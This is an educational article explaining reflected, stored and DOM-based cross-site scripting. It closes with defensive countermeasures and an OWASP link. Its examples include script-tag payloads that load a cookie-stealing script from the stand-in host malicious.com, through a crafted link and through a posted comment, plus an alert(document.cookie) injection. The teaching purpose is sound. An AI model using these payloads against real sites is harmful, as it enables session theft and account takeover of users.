What is a Cross-Site Scripting or XSS Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/vulnerabilities/what-is-xss-or-cross-site-scripting-attack/

Cross-Site Scripting is a computer security vulnerability in web applications using which an attacker can exploit a victim and inject client side scripts into web pages viewed by the victim to do malicious activities like steal sensitive information etc.

There are three types of Cross-Site Scripting Attacks :

• Reflected or Non-persistent Cross-Site Scripting Attack or Reflected XSS
• Persistent or Stored Cross-Site Scripting Attack or Stored XSS
• DOM Based Cross-Site Scripting Attack or DOM Based XSS

Let's discuss each type of attack with a simple example to understand it better.

Reflected XSS

Suppose, there is a web application vulnarable.com which has XSS vulnerability. Adam is a registered user there. And Bob is an attacker who is aware of the vulnerability.

Also assume that, in vulnerable.com there is a search bar. If anyone searches with a keyword, related results appear in the page. Or it says “Not Found” if no matching entry is available.

Bob has written a script steal_auth.js. If a registered user executes that script then his authentication information stored in cookies in transferred to Bob.

So, Bob keeps this script in malicious.com/steal_auth.js and sends a link of that to Adam. Bob may use social engineering to trick Bob to click on that link, for example Bob may send that link to Adam in an email attachment and say, look at some interesting pictures! which may eventually point to

http://malicious.com?q=pictures<script%20src=”http://malicious.com/steal_auth.js”>

Bob may even convert the ASCII characters to hexadecimal so that the link is not human readable.

Now, suppose Adam clicks on the link when he is already authenticated to the website vulnerable.com. And when he does so, his authentication information will get transferred to Bob silently, though Adam will see a benign message in the search results “Not Found”.

With this sensitive authentication information of Adam, Bob can impersonate Adam and login to his account. If Adam has other sensitive information like Credit Card number etc stored in his account, Bob can do much mischiefs. Bob can even change Adam's password, so that Adam's account is no longer accessible to Adam.

This type of attacks are Reflective XSS.

Persistent or Stored XSS

Now, let's suppose, in the previous example, there is a section for posting comments. And whatever comments are posted are stored in database as it is.

Now, Bob makes a malicious comments in this section :

I love the site.<script src=”http://malicious.com/steal_auth.js”>

If the comment is stored in the database as it is, when any registered user will go to the section and load the webpage, the script steal_auth.js will be executed.

As a result, the user's authentication information will silently get transferred to Bob. And we know now, after that what can happen. This is a simple example of Persistent or Stored XSS.

Sometimes, attackers exploit these vulnerabilities in social networking web applications. They make malicious comments embedded with javascripts and post it. As a result, any user who will load the webpage with such comments, his sensitive information will be stolen. In one such attack, an attacker used similar techniques to add any user who visits his webpage to his friendlist.

DOM Based XSS

In DOM Based XSS, the attacker embedds the malicious attacker data in the client side, from within a page served from the web server.

For example, suppose a link of the web application vulnerable.com is

http://vulnerable.com/welcome.html?name=Bill

And, the JavaScript code in that webpage embeds part of the URL (here name=Bill) into the page without consideration.

Now, Bob tricks Adam to click on a link :

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

This will embed the javascript payload into the page at runtime. And Bob can exploit it as usual.

There are several DOM objects which can be exploited :

• The path/query object of the location/URL object
• The username and/or password part of the location/URL object
• The fragment part of the location/URL object
• The referrer object

Countermeasures for XSS

There are couple of steps that we can take to prevent this attack :

• Never insert untrusted data excepting some allowable locations.
• Use HTML Escape before inserting untrusted data into HTML element content
• Use Attribute escape before inserting untrusted data into HTML common attributes
• Use JavaScript escape before inserting untrusted data into JavaScript data values.
• HTML escape JSON values in an HTML context and read the data with JSON.parse
• Use CSS escape and strictly validate data before inserting the untrusted data into HTML style property values
• Use URL escape before inserting untrusted data into HTML URL parameter values
• Sanitize HTML markup with a proper library
• Use HTTPOnly cookie flag
• Implement content security policy.

Because of increased length of the article I did not elaborate each rule. But, I would strongly recommend to go through the following link :

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet